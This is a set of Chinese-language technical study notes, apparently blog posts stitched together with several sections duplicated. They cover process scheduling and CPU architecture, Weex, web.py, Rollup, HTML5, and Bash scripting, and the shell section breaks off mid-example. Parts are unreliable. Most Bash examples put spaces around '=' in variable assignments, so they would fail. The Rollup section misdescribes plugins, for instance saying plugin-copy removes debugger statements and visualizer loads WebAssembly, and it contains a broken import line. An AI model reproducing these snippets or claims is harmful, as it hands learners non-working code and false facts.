进程是操作系统最小可调度的资源单位 多个程序运行在单核心CPU服务器上,实质就是在共享时间片(时间片,操作系统将某个程序分配到某段CPU时间上,单核是无法同时运行多个程序的,只能共享时间片,而进程就是因此而生) 进程状态有3种,分别是运行,阻塞以及就绪 运行和就绪可互相转换,运行状态就是CPU指令在读取运行进程中的程序段,而就绪就是该进程在等待调用 运行可切换到阻塞状态 阻塞就是进程在等待信号(依赖的资源没有就位),阻塞状态结束后会切换到就绪状态 进程状态的切换可理解为接力赛跑,运行状态就是正在跑的运动员,而就绪状态就是在等待接力棒的运动员,而阻塞状态就是运动员需要补充休息,暂时不跑了 进程发生阻塞时,该进程将放弃CPU使用权,CPU会执行下一个就绪状态的进程 中断和中断向量 当程序发生中断(CPU暂时中断当前正在运行的程序),CPU转去处理其他的程序(也可能是处理内存的数据),当CPU处理完毕,CPU可恢复到之前被暂时中断当前正在运行的程序的状态,这个过程叫中断 中断向量就是中断程序的入口地址 中断发生时,该进程会第一时间保存被中断程序的状态,会将相关数据保存到寄存器,当CPU通过中断向量,跳转到处理中断程序中去,并且执行中断程序,然后决定下一个执行哪个程序,如果这个程序正好是之前被中断的,会从寄存器中读取相关数据。恢复到之前中断的执行状态 任何进程都需要排队等待 进程中断和进程阻塞的区别:中断是由于一些优先级比较高的需要CPU处理而被迫中断执行,而阻塞是因为进程需要一些依赖,但是依赖没有就位,需要等待就位,该进程就会进入到阻塞队列中,当依赖就位,就恢复到就绪状态,等待进程调度系统分配CPU执行权 进程(Process)是计算机中的程序关于某数据集合上的一次运行活动,是系统进行资源的分配和调度的基本单位,每个进程都拥有一个自己的地址空间,进程至少有5种基本状态,分别是:初始状态,执行状态,等待状态,就绪状态,终止状态 线程(Thread)是进程的执行实例,是程序执行的最小单位,是操作系统能够进行运算调度的最小单位,一个进程可以创建多个线程,同一个进程的线程共享进程的内存信息,同一个进程的多个可以并发执行,一个线程要执行,必须至少有一个进程 并发和并行的区别 并发:指一个时间段中有多个线程(程序)被快速的轮换执行(处于启动运行到运行完毕之间),在一个时间段中只有一个线程(程序)在执行,在宏观上感觉是多个线程同时被处理,如果多线程操作在一个cpu上,操作系统将cpu运行时间分隔为若干个时间段,将时间段分配给各个线程执行,在一个时间段的线程执行时,其他线程将处于挂起状态,这就叫并发 并行:当系统拥有多个cpu(1个以上)时,一个cpu执行一个线程,另一个线程执行另一个线程,同时进行处理,这就叫并行 并发和并行的区别:并发一个时间段只能执行一个线程(多个线程需要排队执行),并行可以在一个时间段中同时执行多个线程 当多线程程序在单核CPU上执行时,就是并发,在多核CPU执行时,就是并行,当线程数大于CPU核数,那么既有并行又有并发 进程调度的性能消耗太大,因为进程调度会导致进程中断,不但需要将数据保存在寄存器中,恢复进程还需要从寄存器中读取数据,而调度线程的性能消耗就很小,线程是进程的执行单元,一个进程中最少存在一个线程 进程的竞争和临界区 临界区:指的是共享内存中的程序片段 当两个进程同时访问了临界区,而临界区中的数据正好不能被同时访问,例如进程A读取了临界区中的某个内存,并且修改了这个内存,但是进程B正好在读取该临界区的这个内存,导致读取的数据是错的,而解决这个问题的最简单方法就是互斥,当一个进程在该临界区中时,其他进程不能进入,需要排队等待,而且不能过于长时间的占用临界区,临界区外的进程不影响到临界区内的进程 死锁:当多个进程因为竞争资源或者进程通信而导致的阻塞现象,进程在互相等待,无法进行下一步操作 严格轮换法,Peterson算法 严格轮换法简单来说就是声明一个状态,某个进程进入临界区时,状态为1,出来的时候状态为0,当其他进程看到状态为1时,等待该进程出来,看到状态为0时,进入临界区 Peterson算法是严格轮换法的优化版,实现了互斥的同时又避免的死锁 Peterson算法的思路是声明2个状态(一个是正在使用临界区的状态,另一个是想进入临界区的状态),当一个进程想进入临界区时,会检查一下其他进程是否想进入临界区,如果存在其他进程想进入临界区,则等待 FHS规范(3.0),全称Filesystem Hierarchy Standard,中文翻译为文件系统层次结构标准,用于定义根目录以及一级子目录的规范,大多数Linux版本使用该标准来定义文件系统(并不一定完全符合规范,只是大概上符合) FHS规范定义了系统各个目录应该要放什么文件数据,以及所需要的文件和目录 例如:规范某一些文件或者目录可以分享或者不可以分享给给其他人使用 FHS规范了根目录(/),以及根目录的子目录etc(配置文件),bin(必要软件或者命令),usr(二级目录),home(当前用户的家目录),var(动态数据) Linux文件系统—VFS(虚拟文件系统)(Linux下一切都是文件) VFS不需要考虑不同文件系统和存储介质的差异,因为其内核抽象出了通用的文件系统接口,只要符合接口标准,一些文件或者比较特殊的文件系统都是可以兼容 VFS抽象对象,超级块:文件系统,目录项:文件的路径,索引节点:具体文件(操作文件的具体信息),文件:进程打开的文件。都有自己的接口来操作 XFS(高性能64位日志文件系统),带有日志功能防丢数据,原生提供备份工具(xfsdump/sfsrestore) 图灵机和冯诺依曼模型 图灵机实质就是机器模拟人类在纸上进行数学运算,先将数值写到一个纸带的小方格中,再通过读写头来读取小方格里面的信息 这个读写头具备存储,运算,控制功能。存储读取的数据以及运算出来的数据,可执行运算指令,可识别数据是运算指令(例如加号,减号等等运算符号)还是数字 冯诺依曼模型(约定使用二进制来存储和计算数据,并且定义计算机基本结构,CPU,内存,输入设备,输出设备,总线,具备这5个部分的计算机就是冯诺依曼模型) CPU:中央处理器,64位处理器(64位指的CPU的位宽,位宽决定了处理器一次可以计算处理多少字节的数据,64位处理器可以一次计算8个字节) CPU内部还有寄存器(存储CPU计算时的数据),运算单元(负责计算),控制单元(控制CPU工作) 常见的寄存器有:通用寄存器(存储需要进行计算的数据),程序计数器(存储CPU要执行下一个指令的内存地址),指令寄存器(存储程序计数器指向的指令) 总线(CPU和其他设备之间的通信,总线被分为3种,地址总线(传送外部存储器(内存)的地址),控制总线(用来传输和接收控制信号),数据总线(传送内存的数据信息,数据总线又分单向传输,双向传输)) 输入输出设备(输入设备通过控制总线和CPU通信,CPU处理后,将数据输出给输出设备) 线路传输:通过电压来传输数据,低电压表示0,高电压表示1,一条线路可传输1bit的数据(二进制,0或1) 32位处理器的最大寻址空间为2的32次方(4294967296,大概4GB左右),所以32位CPU(或者操作系统)只能操作4G内存(而64位理论上寻址范围高达2的64次方) CPU执行过程:CPU读取程序计数器的值(指令内存地址),控制单元通过地址总线访问到内存,并且通过数据总线获取数据给CPU,CPU接收到数据,将该数据存储在指令寄存器,CPU处理指令寄存器的数据,确定数据的类型,如果是计算类,就交给运算单元处理,如果是存储类,就交给控制单元处理,CPU处理完毕后,程序计数器的值自增(用来表示下一条指令,自增取决于CPU的位宽,如果是64位处理器就是自增8(因为64位一次性处理8个字节数据,一个字节数据需要一个地址来存放)) CPU会不断执行该过程,直到结束(这个过程叫CPU的指令周期) CPU的执行速度取决于指令的执行速度,而指令的执行速度取决于CPU的时钟频率(Ghz),例如我电脑的CPU是 2.10 GHz的,这个 2.10 GHz指的是1秒内可以产生2.1G次数的脉冲信号,而每一次脉冲信号的高低电平的转换就是时钟周期(振荡周期) 时钟频率越高,时钟周期越低,CPU的处理速度越快 存储器 内存断电,数据会丢失,而硬盘不会,因为硬盘是持久化存储,而且CPU内部也有存储器(只不过其能存储的数据很小) 寄存器处理速度最快,再到CPU Cache(中⽂称为CPU缓存,一般分为L1,L2,L3这样的缓存层,比如我电脑的r5 3550h的一级缓存为384KB,二级缓存为2MB,三级缓存为4MB,二级缓存是一级缓存的缓冲器,三级缓存是二级缓存的缓冲器) 然后再到内存,最后是硬盘 一个主频为2.1Ghz的CPU,表示其1秒内完成2.1x10的9次方个时钟周期 CPU Cachee使用了⼀种叫 静态随机存取存储器(Static Random-Access Memory,SRAM)的存储器,一旦断电就会丢失数据 每个CPU核心都有属于自己的L1缓存和L2缓存,而L3缓存一般是多核心共享的 内存使用的是一种叫动态随机存取存储器(Dynamic Random Access Memory,DRAM)的存储器 SRAM存储1bit的数据,一般情况需要6个晶体管,而DRAM只需要一个晶体管和一个电容 硬盘就是固体硬盘(分为HDD硬盘(Hard Disk Drive)和SSD硬盘(Solid-state disk)),HDD硬盘结构和内存相似,但是和内存,缓存之类的不同的是其断电,数据不会丢失 CPU Cachee的数据是从内存中获取的,通过Cache Line(缓存块)来一块一块获取,L1缓存一般分为数据缓存和指令缓存 补码:将正数的二进制全部取反再加1,补码被用于处理负数 十进制小数转二进制用的是乘2取整法(将小数部分乘以2,作为二进制的一位,一直到不存在小数,整数还是用除2法,再合并就是小数的二进制结果) 不是所有小数都可以乘2取整的,例如0.1就不能取整,无法使用二进制精确表示0.1,只能使用近似值来表示,这将导致精度缺失的情况发生 操作系统内核:连接硬件设备的桥梁,应用只需要和内核交互,无需关注硬件,内核已提供访问硬件的接口 现代操作系统内核支持进程调度,内存管理,硬件通信,提供系统接口等功能 内核权限很高,并且将内存分称2个部分,分别是内核空间(只有内核程序可访问),用户空间(专门提供给应用使用) 当程序在使用用户空间时,那么该程序在用户态执行,如果在使用内核空间,那么该程序在内核态执行 内核一般分为三种,宏内核(Linux为代表,整个内核是一个完整的程序),微内核(具备一个小内核,一些服务或者模块由用户态来管理)以及混合内核(宏内核和微内核的结合体,windows为代表) 计算机的输入,输出,状态转换函数F 状态描述:一切可使用数字描述 输入:晶振(时间输入,CPU周期,时钟驱动CPU工作),外界输入设备 输出:打印机,显示器 机械计算机:差分机(巴贝奇,多项式求值) 图灵机 冯 诺依曼模型 CPU的工作原理(内存,寄存器,ALU(算数逻辑单元)) 数据空间地址和指令空间地址 指令 通过指令来控制计算机工作,CPU被时钟驱动,并且不断读取指针指向的指令,从内存读取指令然后执行指令 不同的cpu架构使用不同的指令集,常见的指令集有RISC(Reduced Instruction Set Computing,精简指令集),CISC(Complex Instruction Set Computing,复杂指令集) RISC中代表的有arm指令集,CISC中代表的有x86指令集 RISC的特点就是CPU单元电路少,面积小,功耗低(只进行二进制处理器指令) CISC的特定就是CPU单元电路多,面积大,功耗大(进行复杂指令) 寻址模式,浮点数,指令分类 寻址模式(指令集的一部分,表示指令有哪些操作符,地址应该怎么计算) 寄存器寻址,立即寻址,偏移量寻址(基地址,偏移量),PC相对寻址 内存读写(load/store指令),加减乘除(add,sub,div,mult)。 操作系统的并发性(2个事件及2个以上事件在一段时间内发生,就叫并发,并发是单核CPU的知识点),共享性(操作系统的资源可以提供给多个并发程序使用,互斥共享,同时访问(一段时间内并发访问资源)),虚拟性(将物理设备虚拟成多个逻辑实体,虚拟技术有时分复用(分时使用硬件资源,例如虚拟处理器技术,就是将多个程序分时复用处理器资源,虚拟设备技术,就是将物理设备虚拟成多个逻辑设备,一个程序使用一个逻辑设备,通过逻辑设备来并发访问真实的物理设备),空分复用技术(虚拟磁盘技术(将物理磁盘虚拟成多个逻辑盘),虚拟内存技术(可使用比实际内存更大的内存空间))),异步性(允许多进程并发执行)
weex是阿里巴巴在Qcon大会上宣布开源的一套跨平台移动开发工具 支持ES6,跨平台,体积小,性能优异,编写规范 官网:http://emas.weex.io/zh/ weex调试工具:weexplayground(可以用来测试,要同局域网下) 安装 npm install -g weex-toolkit 检查weex weex -v 初始化项目 weex init demo npm install 或者 weex create demo 运行 npm run dev npm run server 编译js bundle weex compile 目录或者文件 打包文件存放的目录或者文件 压缩编译 weex compile 目录或者文件 打包文件存放的目录或者文件 -m 注意:Weex目前只支持像素值,不支持相对单位(em、rem),也不支持百分比,默认设计标准为750px,当真实像素不是750px的时候,会自动将设计标准映射到真实的尺寸中,这个映射比率叫scale,计算公式为:当前屏幕尺寸/750 不支持层 z-index,具体层级叠加根据编写顺序显示,不支持使用border创建三角形 运行流程:weex生成js bundle,然后通过网络等等方式将js bundle传递到客户端,在客户端中,weexSDK会在用户打开一个weex页面的时候执行对应的js bundle,然后命令发送到native端进行处理
weex是阿里巴巴在Qcon大会上宣布开源的一套跨平台移动开发工具 支持ES6,跨平台,体积小,性能优异,编写规范 官网:http://emas.weex.io/zh/ weex调试工具:weexplayground(可以用来测试,要同局域网下) 安装 npm install -g weex-toolkit 检查weex weex -v 初始化项目 weex init demo npm install 或者 weex create demo 运行 npm run dev npm run server 编译js bundle weex compile 目录或者文件 打包文件存放的目录或者文件 压缩编译 weex compile 目录或者文件 打包文件存放的目录或者文件 -m 注意:Weex目前只支持像素值,不支持相对单位(em、rem),也不支持百分比,默认设计标准为750px,当真实像素不是750px的时候,会自动将设计标准映射到真实的尺寸中,这个映射比率叫scale,计算公式为:当前屏幕尺寸/750 不支持层 z-index,具体层级叠加根据编写顺序显示,不支持使用border创建三角形 运行流程:weex生成js bundle,然后通过网络等等方式将js bundle传递到客户端,在客户端中,weexSDK会在用户打开一个weex页面的时候执行对应的js bundle,然后命令发送到native端进行处理
web.py是一个轻量级Python web框架,是由已故著名计算机黑客Aaron Swartz设计开发(如果你看过互联网之子这个电影,你应该对这位大佬很熟悉) 安装web.py pip install web.py 导入模块 import web 第一个例子 import web urls = ( "/(.*)","hallo" ) app = web.application(urls,globals()) class hallo: def GET(self,name): return "hallo web.py" if __name__=="__main__": app.run() 可以看到页面内容是return返回的,也可以open读取html文件,来返回回去,都是可以的
web.py是一个轻量级Python web框架,是由已故著名计算机黑客Aaron Swartz设计开发(如果你看过互联网之子这个电影,你应该对这位大佬很熟悉) 安装web.py pip install web.py 导入模块 import web 第一个例子 import web urls = ( "/(.*)","hallo" ) app = web.application(urls,globals()) class hallo: def GET(self,name): return "hallo web.py" if __name__=="__main__": app.run() 可以看到页面内容是return返回的,也可以open读取html文件,来返回回去,都是可以的
根据Rollup官方文档的介绍:Rollup 是一个 JavaScript 模块打包器,可以将小块代码编译成大块复杂的代码,例如 library 或应用程序。 Rollup和webpack那种偏向于应用打包不同,Rollup更专注于类库打包,像vue,react都是通过rollup打包的 注意:webpack支持HMR(热模块更新),而Rollup并不支持,因此在应用打包的时候还是选择webpack比较好,但是如果只是打包类库之类的,并且还是基于ES6模块开发的,那么就可以考虑选择rollup了,因为rollup在Tree-shaking和ES6模块有着算法优势。因为Rollup对模块化是使用新标准,例如 CommonJS,而不是老旧解决方案 提示:webpack已经支持Tree-shaking,并且在babel-loader的情况下也支持es6 module的打包 Rollup是ESM模块标准构建打包工具,源必须使用ESM模块标准,如果需要使用其他标准可通过插件完成 安装rollup npm install rollup 查看帮助文档 rollup –help 打包使用 rollup -i index.js 默认输出到终端 指定输出到哪个文件 rollup -i index.js --file dist.js 还可以指定输出模块标准是哪个 rollup -i index.js --file dist.js --format umd rollup -i index.js --file dist.js --format cjs rollup -i index.js --file dist.js --format iife 打包 rollup src/demo.js -f cjs -o dist/bundle.js 注意:-f是–format的缩写,表示生成代码的格式,例如amd,cjs,es,umd,iife 使用UMD格式需要指明一个name属性,用来挂载模块到全局环境中 rollup src/demo.js -f umd -o dist/bundle.js –name hallo 在global下声明一个名为hallo的对象,用来挂载全部的export模块 一次打包多个文件 rollup -i index.js -i main.js –dir dist –format cjs 如果想监听文件是否改动,可以使用-w参数(–watch),当文件发生改动的时候,重新打包 配置文件(rollup.config.js) export default { input: ["./src/demo.js"], output: { file: "./dist/bundle.js", format: "cjs", name: "experience", }, } 如果配置文件想使用module.exports = {}的方式,需要将配置文件修改为.cjs文件 执行命令 rollup -c rollup.config.js 或者 rollup –config rollup.config.js 打包阶段传递环境变量 rollup.config.js获取设置的变量 console.log(process.env.DEV) 执行时设置环境变量 rollup -c rollup.config.js –environment DEV:1 这个可以通过环境变量的不同,来做不同的处理,而不需要写多套config配置了 Rollup的Tree-shaking功能,只对使用的模块进行打包,对于没有使用的模块是不进行打包的 Rollup常用插件(vite使用Rollup作为打包工具,因此vite也可以使用Rollup插件) @rollup/plugin-json,打包json文件成js代码 安装 yarn add @rollup/plugin-json 使用 yarn rollup -c rollup.config.js –plugin json 如果不想在命令行设置要使用的插件,也可以在rollup.config.js下设置 import json form rollup/plugin-json export default { input: ["./src/demo.js"], output: { file: "./dist/bundle.js", format: "cjs", name: "experience", plugins: [], banner: '/**hallo word**/', }, externals: [ 'react' ] plugins:[ json(), ] } 可以看到Rollup插件是函数,并且是顺序执行插件 externals可以指定不打包的模块 banner是指定打包完成文件头部的注释,会和rollup-plugin-terser插件冲突,代码压缩会删除全部注释 也可以通过设置npm script脚本来简化命令 'scripts':{ 'build': 'rollup -c rollup.config.js' } 执行npm run build或者yarn build都可以执行 @rollup/plugin-babel,将es6文件转换为es5文件 @rollup/plugin-alias,设置模块别名,不需要写很长很长的路径,例如: plugins: [ alias({ entries: [ { find: 'main', replacement: '../src/main' }, { find: 'test', replacement: './test' } ] }) ] index.js import main from 'main' import test from 'test' @rollup/plugin-commonjs,让其支持CommonJS模块标准打包 @rollup/plugin-vue,打包.vue文件,vue2和vue3使用的插件版本不同,vue3使用的是@rollup/plugin-vue6.0.0版本以上,而vue2使用@rollup/plugin-vue5.1.9版本,而且还需要搭配vue编译器使用,vue3使用@vue/compiler-sfc,vue2使用vue-template-compiler @rollup/plugin-node-resolve,允许打包第三方模块,这个插件需要搭配@rollup/plugin-commonjs使用,因为这个插件底层实现是使用了CommonJS模块标准 @rollup/plugin-typescript,增加typescript支持,TypeScript版本要求3.7以及以上 @rollup/plugin-image,支持图片加载依赖,图片会被编码为base64格式(体积会增加) rollup-plugin-terser,代码压缩插件,应该在打包完成后执行该插件,因此应该在output内部的plugins设置,老插件,这个插件没有设置default,import使用时需要{terser} @rollup/plugin-postcss,让其支持使用postcss以及postcss插件 @rollup/plugin-serve,启动本地服务器 @rollup/plugin-livereload,文件发生变化,进行实时刷新 @rollup/plugin-eslint,打包时校验语法是否符合规范 @rollup/plugin-copy,打包时删除debugger语句和函数,例如console.log @rollup/plugin-visualizer,加载WebAssembly模块
根据Rollup官方文档的介绍:Rollup 是一个 JavaScript 模块打包器,可以将小块代码编译成大块复杂的代码,例如 library 或应用程序。 Rollup和webpack那种偏向于应用打包不同,Rollup更专注于类库打包,像vue,react都是通过rollup打包的 注意:webpack支持HMR(热模块更新),而Rollup并不支持,因此在应用打包的时候还是选择webpack比较好,但是如果只是打包类库之类的,并且还是基于ES6模块开发的,那么就可以考虑选择rollup了,因为rollup在Tree-shaking和ES6模块有着算法优势。因为Rollup对模块化是使用新标准,例如 CommonJS,而不是老旧解决方案 提示:webpack已经支持Tree-shaking,并且在babel-loader的情况下也支持es6 module的打包 Rollup是ESM模块标准构建打包工具,源必须使用ESM模块标准,如果需要使用其他标准可通过插件完成 安装rollup npm install rollup 查看帮助文档 rollup –help 打包使用 rollup -i index.js 默认输出到终端 指定输出到哪个文件 rollup -i index.js --file dist.js 还可以指定输出模块标准是哪个 rollup -i index.js --file dist.js --format umd rollup -i index.js --file dist.js --format cjs rollup -i index.js --file dist.js --format iife 打包 rollup src/demo.js -f cjs -o dist/bundle.js 注意:-f是–format的缩写,表示生成代码的格式,例如amd,cjs,es,umd,iife 使用UMD格式需要指明一个name属性,用来挂载模块到全局环境中 rollup src/demo.js -f umd -o dist/bundle.js –name hallo 在global下声明一个名为hallo的对象,用来挂载全部的export模块 一次打包多个文件 rollup -i index.js -i main.js –dir dist –format cjs 如果想监听文件是否改动,可以使用-w参数(–watch),当文件发生改动的时候,重新打包 配置文件(rollup.config.js) export default { input: ["./src/demo.js"], output: { file: "./dist/bundle.js", format: "cjs", name: "experience", }, } 如果配置文件想使用module.exports = {}的方式,需要将配置文件修改为.cjs文件 执行命令 rollup -c rollup.config.js 或者 rollup –config rollup.config.js 打包阶段传递环境变量 rollup.config.js获取设置的变量 console.log(process.env.DEV) 执行时设置环境变量 rollup -c rollup.config.js –environment DEV:1 这个可以通过环境变量的不同,来做不同的处理,而不需要写多套config配置了 Rollup的Tree-shaking功能,只对使用的模块进行打包,对于没有使用的模块是不进行打包的 Rollup常用插件(vite使用Rollup作为打包工具,因此vite也可以使用Rollup插件) @rollup/plugin-json,打包json文件成js代码 安装 yarn add @rollup/plugin-json 使用 yarn rollup -c rollup.config.js –plugin json 如果不想在命令行设置要使用的插件,也可以在rollup.config.js下设置 import json form rollup/plugin-json export default { input: ["./src/demo.js"], output: { file: "./dist/bundle.js", format: "cjs", name: "experience", plugins: [], banner: '/**hallo word**/', }, externals: [ 'react' ] plugins:[ json(), ] } 可以看到Rollup插件是函数,并且是顺序执行插件 externals可以指定不打包的模块 banner是指定打包完成文件头部的注释,会和rollup-plugin-terser插件冲突,代码压缩会删除全部注释 也可以通过设置npm script脚本来简化命令 'scripts':{ 'build': 'rollup -c rollup.config.js' } 执行npm run build或者yarn build都可以执行 @rollup/plugin-babel,将es6文件转换为es5文件 @rollup/plugin-alias,设置模块别名,不需要写很长很长的路径,例如: plugins: [ alias({ entries: [ { find: 'main', replacement: '../src/main' }, { find: 'test', replacement: './test' } ] }) ] index.js import main from 'main' import test from 'test' @rollup/plugin-commonjs,让其支持CommonJS模块标准打包 @rollup/plugin-vue,打包.vue文件,vue2和vue3使用的插件版本不同,vue3使用的是@rollup/plugin-vue6.0.0版本以上,而vue2使用@rollup/plugin-vue5.1.9版本,而且还需要搭配vue编译器使用,vue3使用@vue/compiler-sfc,vue2使用vue-template-compiler @rollup/plugin-node-resolve,允许打包第三方模块,这个插件需要搭配@rollup/plugin-commonjs使用,因为这个插件底层实现是使用了CommonJS模块标准 @rollup/plugin-typescript,增加typescript支持,TypeScript版本要求3.7以及以上 @rollup/plugin-image,支持图片加载依赖,图片会被编码为base64格式(体积会增加) rollup-plugin-terser,代码压缩插件,应该在打包完成后执行该插件,因此应该在output内部的plugins设置,老插件,这个插件没有设置default,import使用时需要{terser} @rollup/plugin-postcss,让其支持使用postcss以及postcss插件 @rollup/plugin-serve,启动本地服务器 @rollup/plugin-livereload,文件发生变化,进行实时刷新 @rollup/plugin-eslint,打包时校验语法是否符合规范 @rollup/plugin-copy,打包时删除debugger语句和函数,例如console.log @rollup/plugin-visualizer,加载WebAssembly模块
HTML5是HTML标准的第5代标准,主要目的是语义化并且提供多媒体的嵌入 HTML是什么?HTML全称为HyperTextMarkupLanguage,中文叫超文本标记语言,简称HTML 而HTML5是一个标准,指的是第五代HTML标准 HTML5主要的新特性: 语义特性,本地存储特性,设备兼容特性,连接特性,网页多媒体特性,性能与集成特性,CSS3特性 HTML的块级与行级 块级元素的特征: 独占一行,不和其他元素待在同一行上,能设置宽和高 默认宽度是该元素的容器的100%,不过可以设置宽度 常用的块级元素有div,ul,li,dl,dt,h1-h6 行级元素的特征: 可以和其他元素待在同一行上,不能设置宽和高 它的宽度就是它的文字或者图片的宽度 常用的行级元素有a,span 行内块级元素的特征: 可以设置宽和高,可以一行多个 常见的行内块级元素有input,img 转换元素为块级或者行内 display:block //定义元素为块级元素 display: inline //定义元素为行内元素 display:inline-block //定义元素为行内块级元素。 这三个的区别只有三个,排列分式,设置宽高,默认宽度 html语义 语义化:使得页面可以很好的向浏览器和开发者描述其意义 语义化的好处: 方便开发团队的前期开发和后期维护,不只是作用于自己的开发团队,也方便其他国家的开发者能理解网页的结构; 在css文件丢失的情况下,也能表示出好的内容结构和代码结构,方便用户阅读; 方便辅助技术能更好的阅读或者转译网页,方便有障碍人士阅读; 良好的结构和语义,可以提高搜索引擎爬虫的有效爬取; 重点:用正确的标签做正确的事!!! 要注意可以改变样式的标签不一定是有居于语义的 在没有出现语义元素前,几乎都是使用div或者span,加类加id 没有语义的元素最适合当容器使用了 常用的非语义元素有和 常用的语义元素有和 :页眉,一般包括网站logo,主导航,搜索框等; :导航,链接; :定义文章的主要内容,一个页面只能使用一次; :定义一份独立的内容,脱离其他内容或者其他部分,独立于文档的其余部分; :定义内容的节(段); :页脚,一般包含版权信息或者链接等; :侧边栏,一般作为附属信息,例如导航索引,广告等; meta viewport viewport 是指 web 页面上的可见区域 device-width指设备的理想宽度,不同的设备 device-width 是不一样的 nitial-scale=1.0 是指默认缩放大小是1,也就是默认不缩放 maximum-scale=1.0 是指最大缩放大小是1 标签使用<和>括起来,例如 html标签大多都是成对出现的,分开始标签和结束标签,结束标签比开始标签多了个/ 例如: html不区分大小写。所以和作用一样。建议使用小写 <!DOCTYPE html>声明这是一个html5文件,声明位于前面 标识HTML文档的开始 表明一些和html文档有关的信息,例如title html文档的主体 段落 ~
HTML5是HTML标准的第5代标准,主要目的是语义化并且提供多媒体的嵌入 HTML是什么?HTML全称为HyperTextMarkupLanguage,中文叫超文本标记语言,简称HTML 而HTML5是一个标准,指的是第五代HTML标准 HTML5主要的新特性: 语义特性,本地存储特性,设备兼容特性,连接特性,网页多媒体特性,性能与集成特性,CSS3特性 HTML的块级与行级 块级元素的特征: 独占一行,不和其他元素待在同一行上,能设置宽和高 默认宽度是该元素的容器的100%,不过可以设置宽度 常用的块级元素有div,ul,li,dl,dt,h1-h6 行级元素的特征: 可以和其他元素待在同一行上,不能设置宽和高 它的宽度就是它的文字或者图片的宽度 常用的行级元素有a,span 行内块级元素的特征: 可以设置宽和高,可以一行多个 常见的行内块级元素有input,img 转换元素为块级或者行内 display:block //定义元素为块级元素 display: inline //定义元素为行内元素 display:inline-block //定义元素为行内块级元素。 这三个的区别只有三个,排列分式,设置宽高,默认宽度 html语义 语义化:使得页面可以很好的向浏览器和开发者描述其意义 语义化的好处: 方便开发团队的前期开发和后期维护,不只是作用于自己的开发团队,也方便其他国家的开发者能理解网页的结构; 在css文件丢失的情况下,也能表示出好的内容结构和代码结构,方便用户阅读; 方便辅助技术能更好的阅读或者转译网页,方便有障碍人士阅读; 良好的结构和语义,可以提高搜索引擎爬虫的有效爬取; 重点:用正确的标签做正确的事!!! 要注意可以改变样式的标签不一定是有居于语义的 在没有出现语义元素前,几乎都是使用div或者span,加类加id 没有语义的元素最适合当容器使用了 常用的非语义元素有和 常用的语义元素有和 :页眉,一般包括网站logo,主导航,搜索框等; :导航,链接; :定义文章的主要内容,一个页面只能使用一次; :定义一份独立的内容,脱离其他内容或者其他部分,独立于文档的其余部分; :定义内容的节(段); :页脚,一般包含版权信息或者链接等; :侧边栏,一般作为附属信息,例如导航索引,广告等; meta viewport viewport 是指 web 页面上的可见区域 device-width指设备的理想宽度,不同的设备 device-width 是不一样的 nitial-scale=1.0 是指默认缩放大小是1,也就是默认不缩放 maximum-scale=1.0 是指最大缩放大小是1 标签使用<和>括起来,例如 html标签大多都是成对出现的,分开始标签和结束标签,结束标签比开始标签多了个/ 例如: html不区分大小写。所以和作用一样。建议使用小写 <!DOCTYPE html>声明这是一个html5文件,声明位于前面 标识HTML文档的开始 表明一些和html文档有关的信息,例如title html文档的主体 段落 ~
shell中文意思为壳,shell可以接受使用者的指令,来调用服务,shell的种类很多,而比较常见是Bash,头部声明#!/bin/bash,表示bash是解释脚本的程序 例如: #!/bin/bash echo "hallo word" 执行该脚本(注意:需要有可执行权限,sudo chmod +x hallo.sh) bash hallo.sh 也可以直接执行 ./hallo.sh 变量(首字符必须是字母,而且不能有bash的关键字,大小写敏感) data = “hallo” echo $data data = “word” echo ${data} 注意:如果使用单引号,单引号里面有变量的话,是无法生效的,而且还不能出现单引号,而且双引号可以使用变量和转义字符,美元符号($)只有在使用变量才需要,在定义,更新,删除变量都不需要 例如: name=“chenjunlin” data=“hallo, ${name} !” echo $data 获取字符串的长度 data=“hallo word” echo ${#data} 获取指定位置的字符 data=“hallo word” echo ${#data:5:8} 删除变量(不能删除只读变量) unset data echo ${data} 在shell脚本定义的变量只能在当前脚本交互中使用,可以通过export传递变量到子shell中,可以通过env或者export指令来获取当前shell的环境变量 参数 echo “hallo word”; echo “要执行的shell脚本:$0”; echo “参数为:$1”; ./hallo.sh abc 获取参数的个数:$# 以单一字符串的方式输出全部参数(要被双引号包裹):$* 以独立字符串的方式输出全部参数(要被双引号包裹):$@ 获取上个命令的状态(是否执行成功,0为成功,非0为失败):$? 获取当前脚本shell进程的ID:$$ 获取后台运行的最后一个进程的ID:$! 配合函数使用(参数也可以通过函数来传递) function abc(){ echo "参数1: $1" echo "被执行的脚本为: $0" } abc hallo ./hallo.sh 参数1: hallo 被执行的脚本为: hallo.sh 数组(不需要逗号分开,使用的是空格) data = (1 2 3 4 5 “hallo word”) data[6] = “shell 666” echo “${data[6]}” 获取数组的长度 ${#data[*]}或者${#data[@]}" 删除数组或者元素(如果不带索引则删除全部元素) unset data[5] 数组切片 echo “${data[@]:2:4}” 数组元素更新 echo “${data[@]/2/100}” 数学运算(bash并不支持运算,需要利用第三方工具) abc = 123 xyz =666 let data = ${abc} + ${xyz} echo $data 或者 data = `expr $abc + $xyz` echo $data data = $[$abc + $xyz] echo $data data = $(($abc + $xyz)) echo $data 注意:shell的关系运算符不支持字符串,只支持数字 判断是否相等:-eq 判断是否不相等:-ne 判断是否大于:-gt 判断是否小于:-lt 判断是否相等或者大于:-ge 判断是否相等或者小于:-le 例如: abc = 123 xyz =666 if [ $abc -eq $xyz ] then echo"相等" else echo"不相等" fi if [ $abc -gt $xyz ] then echo"大于" else echo"不大于" 布尔运算符 &&和|| 或:-o 与:-a 非:! 例如: abc = 123 xyz = 666 if [ $abc -eq $xyz -o $abc -lt $xyz] then echo"相等或者小于" else echo"不相等或者小于" fi 字符串运算符 abc = "hallo" xyz = "hi" if [$abc = $xyz];then echo"相等" else echo"不相等" 判断字符串长度是否为0:-z(为0返回true) 判断字符串长度是否不为0:-n(不为0返回true) 判断字符串是否不为空:$(不为空返回true) 例如: a = "hallo word" b = "abchhh" if [ -z $a];then echo "$a :字符串长度为0" else echo "$a :字符串长度不为0" fi if [ ${b}];then echo "$b :字符串不为空" else echo "$b :字符串为空" fi 文件运算符 检查文件是否为目录(是返回true):-d 检查文件是否为块设备文件:-b 检查文件是否为字符设备文件:-c 检查文件是否为普通文件(不是目录,也不能设备文件):-f 检查文件是否可读:-r 检查文件是否可写:-w 检查文件是否可执行:-x 检查文件大小是否大于0(大于返回true):-s 检查文件(目录)是否存在:-e 检查文件是否设置了SGID位:-g 检查文件是否设置了SUID位:-u 检查文件是否是有名管道:-p 检查文件是否设置粘着位(Sticky Bit):-k 例如: data = "/etc/hallo" if [-r $data] then echo 